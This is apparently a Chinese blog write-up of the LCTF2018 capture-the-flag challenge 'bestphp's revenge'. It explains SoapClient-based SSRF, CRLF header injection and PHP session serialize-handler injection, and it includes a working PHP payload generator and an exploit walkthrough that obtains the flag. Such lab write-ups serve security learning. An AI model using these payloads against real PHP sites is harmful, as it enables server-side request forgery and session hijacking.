bestphp's revenge

bestphp's revenge

考点:1、SoapClient触发反序列化导致ssrf 2、serialize_hander处理session方式不同导致session注入

又学到了一个新的知识点

首页面给出了源码

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

通过flag.php我们发现要获取flag需要通过ssrf才可以实现将flag写入到session里,然后再在index.php中输出。

所以我们回到index.php来看如何实现,通过审计,我们发现有很多的可控变量

call_user_func($_GET['f'], $_POST);

我们可以调用任意函数并传入一个参数,或者我们可以将f传入一个数组表示某个类的某个方法,这里我们就涉及到了一个新的知识点构造SSRF之SoapClient类

构造SSRF之SoapClient类

SoapClient是php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求,从而实现ssrf的效果,

该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式

WSDL (Web Services Description Language,Web服务描述语言)是一种XML Application,他将Web服务描述定义为一组服务访问点,客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问(类似远程过程调用)

第二个参数如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

但是我们如何使得利用ssrf获得的flag存入已知的session中呢?

这里我们又要学习一个CRLF Injection漏洞

CRLF Injection漏洞

CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS

举个例子,一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

所以一个正常的302跳转包是这样

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn

但如果我们输入的是

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。

当然,HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。更加详细的之后会专门再写一篇笔记细说。

对于这道题而言,我们可以控制location,所以就可以通过CRLF进行携带Cookie

回到最初的问题,我们如何去构造SoapClient类呢?

PHP的session反序列化机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储,存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

session.serialize_handler存在以下几种:

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize(php>=5.5.4) 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

在PHP中默认使用的是PHP引擎(5.5.4后改为php_serialize),如果要修改为其他的引擎,只需要添加代码

ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。

举个例子,当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{},那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"会被php解析成键名,后面就是一个test对象的注入。

解题思路

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

第一步

构造SoapClient类并写入session文件

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "ggbond\r\nCookie: PHPSESSID=123456789\r\n",
    'uri' => "ggbond"));
$payload = urlencode(serialize($attack));
echo '|'.$payload;

因为需要引擎差异,所以我们需要在写入的时候使用php_serialize引擎,可以构造session_start(['serialize_handler'=>'php_serialize'])达到注入的效果。

使用第一个call_user_func设置php引擎,通过name写入反序列化字符串

image-20211229164023411

第二步

第二次访问后,刚才的序列化字符串因为解析问题成功的注入了SoapCilent类,接下来我们需要想办法调用__call方法,这里我本想着直接利用第一个call_user_func直接利用构造的SoapCilent类,无果。这里是因为sesssion_start在第一个call_user_func之后,相当于还没有构造就去利用了,所以导致失败,所以我们只能使用第二个来利用这个方法。

所以我们要使用变量覆盖extract函数来覆盖$b变量来实现自定义方法,这里覆盖$bcall_user_func传入的是

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

这里的reset($_SESSION)就是刚刚构造的类方法,调用该类的welcome_to_the_lctf2018方法,触发__call从而实现攻击,这里在网上看好多师傅们让name=SoapClient,通过我的尝试发现这个没有意义,因为reset()将数组指向了第一个值,无论name是什么都不会用到。

image-20211229164140236

获得flag

然后我们使用PHPSESSID=123456789去访问首页面就得到了flag

posted @ 2023-01-08 23:21  seizer-zyx  阅读(31)  评论(0编辑  收藏  举报